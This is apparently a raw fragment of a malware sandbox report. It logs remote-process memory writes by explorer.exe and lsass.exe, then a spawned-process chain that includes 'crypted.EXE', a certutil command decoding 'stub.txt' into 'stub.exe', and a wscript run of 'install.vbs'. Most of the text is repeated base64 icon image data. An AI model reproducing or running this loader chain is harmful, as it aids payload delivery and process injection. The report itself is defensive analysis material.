bytes to a remote process "C:\Windows\svchost.com" (Handle: 1800) "explorer.exe" wrote 52 bytes to a remote process "C:\Windows\svchost.com" (Handle: 1800) "explorer.exe" wrote 4 bytes to a remote process "C:\Windows\svchost.com" (Handle: 1800) "lsass.exe" wrote 80 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 1880) "lsass.exe" wrote 152 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 1880) "lsass.exe" wrote 132 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 1880) "lsass.exe" wrote 116 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 1880) "lsass.exe" wrote 136 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 1880) "lsass.exe" wrote 208 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 1880) "lsass.exe" wrote 148 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 1880) "lsass.exe" wrote 128 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 1880) "lsass.exe" wrote 118 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 1880)32:T425,Spawned process "" (UID: 00014304-00003412) Spawned process "" (UID: 00014422-00003488) Spawned process "svchost.com" with commandline ""%TEMP%\crypted.EXE"" (UID: 00015147-00003608) Spawned process "svchost.com" with commandline ""%TEMP%\RATEME~1.EXE"" (UID: 00015151-00003580) Spawned process "crypted.EXE" (UID: 00015315-00003584) Spawned process "RATEME?1.EXE" (UID: 00015323-00003660) Spawned process "certutil.exe" with commandline "-DECODE stub.txt stub.exe" (UID: 00015498-00003648) Spawned process "stub.exe" (UID: 00015719-00003728) Spawned process "svchost.com" with commandline ""%TEMP%\3582-490\stub.exe"" (UID: 00015936-00003680) Spawned process "stub.exe" (UID: 00016024-00001464) Spawned process "explorer.exe" (UID: 00016619-00000524) Spawned process "Ld9D50.tmp" (UID: 00023656-00003212) Spawned process "wscript.exe" with commandline ""%TEMP%\sysmin\install.vbs"" (UID: 00023789-00003308) Spawned process "svchost.com" with commandline ""%PROGRAMFILES%\INTERN~1\iexplore.exe"" (UID: 00025469-00000776)33:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAA/////////////////wAAAP////////////////8AAAD/d3d3d3d3d3d3d3f/AAAA/3d3d3d3d3d3d3d3/wAAAP93d3d3d3d3d3d3d/8AAAD/d3////d3f///93f/AAAA/3d////3d3////d3/wAAAP93f///93d////3d/8AAAD/d3////d3f///93f/AAAA/3d////3d3////d3/wAAAP93f///93d////3d/8AAAD/d3d3d3d3d3d3d3f/AAAA/3d3d3d3d3d3d3d3/wAAAP93d3d3d3d3d3d3d/8AAAD/d3////d3f///93f/AAAA/3d////3d3////d3/wAAAP93f///93d////3d/8AAAD/d3////d3f///93f/AAAA/3d////3d3////d3/wAAAP93f///93d////3d/8AAAD/d3d3d3d3d3d3d3f/AAAA/3d3d3d3d3d3d3d3/wAAAP93d3d3d3d3d3d3d/8AAAD///+Hd3d3d3d4////AAAA///3d3d3d3d3d3///wAAD//4d3d3d3d3d3d3j//wAP//d3d3d3eId3d3d3f//w///4d3d3d3/3d3d3d4///w////93d3f//3d3eP////AAAP///4d3//93eP///wAAAAAAD///////////8AAAAAAAAAAP///wD///8AAAAADgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAHwAAAA4AAAAEAAAAAgAAAAfAAAA/+AAB//4GB/w==34:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==35:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==36:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAACIiIcAAAAAAAAAAAAAAIiIiI+Hd3dwAAAAAAAACIiIiIiHd3eHdwAAAAAIiIj4iI/4d3d3iIdwAAAAd3/4iIiP/4d3ePiId3gAAHB/iIiIj/iIh3j4j3d3cABwf4d4iP/4iIeI+I93d3cAcHh3eIj/iIiHiPiId3d3AHB4iHeP+IiHiIj4iHd3dwBweIiI//iHd4iI+IhwAAAAcHd3ePiPd3eIiPiIcAAAAHB3d3j4+Hd3iIj4iHAAAABwd4h4//h3d4iI+IhwAAAAcHd3eIj4h3eIiPiIcAAAAHB4t4iP/4iIiIj4iHAAAABweHeIj/+IiIh/94hwAAAAcH+IiI//iIiIf/iIcAAAAHB/+IiP//iIiH/4iHAAAABwf/iIiIiIiHeP+IhwAAAAcH+Id3d4iIiIj/iIcAAAAHd4eIiIiPiIiP/4iHAAAAAIh3//iIj/////+IhwAAAAAAd///+P////+PeIcAAAAAAHf///+IiId3iIeHcAAAAAB3h3d3d3eIiIj4iHAAAAAAd4d3iI//////+Hh3AAAAAHeIeP////////+HeAAAAAB3iIj//////4iIiHgAAAiAd4iIj4iIiIiIiIeAAAAAAAj/iIiIiHiIiIiHAAAAAAAAAAh4iIiIiIh3gAAAAAgAAAAAAAAIAAAAAAiAAAD/+A///4AA//wAAH/AAAA/gAAAB4AAAAOAAAABgAAAAYAAAAGAAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD/AAAA/8AAAP/AAAB/wAAAf8AAAD/AAAA/wAAAPkAAAH/gAAD//gAB/v/7/nw==37:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==38:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==39:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==3a:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==3b:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAABmZmZgAAAAAAZmZmYAAAAGeIiIZgAAAAAGiIiGYAB3d3iIiHd3d3d3dod3hnd3iPiIiIh4iIiIiIaIiIa7t4+IiIiIeIiIiIu2iIiGu7ePiIiIiHiIiIiIhoiIh7u3j4iIiIiId3d3d2eIiIiLt4+IiIiIiIiIiIiIiIj4i7ePiIiP/4iIiIiIiIiI+Iu3j4+P//+IiIiIiIiIiPiLh4+Pj////////4iIiIj4i4eP/4///4iIiIiIiIj/iIiHj//4iI+IiIh3d3d3d4iIh4/////4+IiIiIiIiIiIiIeP////iI+IiIiIiIiIiIiHj/////iI+IiIiIiIiIiIh4//////iIiIiIiIiIiIiIeP//////+IiIiIiIiIiIiHj///////+IiIiIiIiIiIh4/////////4j///////iIeP//////////+IiIiHd3eHiP/////////4iIiIiIiIh4iIiIiIiIiIiIjub///iIeIiIiIiIiIiIiI7u///4iHiIiIiIiImZ//iIh3d3d3dwiIiIiIiJmf///4iIiIiHAIiKov/4iIiIiId3d3d3dwCIiqr///+Ih3AAAAAAAAAACIiIiIiIiHcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwH/gP4A/4BwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAYAAAAGAAD//wAB//////////////////w==3c:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==3d:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==3e:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAA/////////////////wAAAP////////////////8AAAD/d3d3d3d3d3d3d3f/AAAA/3d3d3d3d3d3d3d3/wAAAP93d3d3d3d3d3d3d/8AAAD/d3////d3f///93f/AAAA/3d////3d3////d3/wAAAP93f///93d////3d/8AAAD/d3////d3f///93f/AAAA/3d////3d3////d3/wAAAP93f///93d////3d/8AAAD/d3d3d3d3d3d3d3f/AAAA/3d3d3d3d3d3d3d3/wAAAP93d3d3d3d3d3d3d/8AAAD/d3////d3f///93f/AAA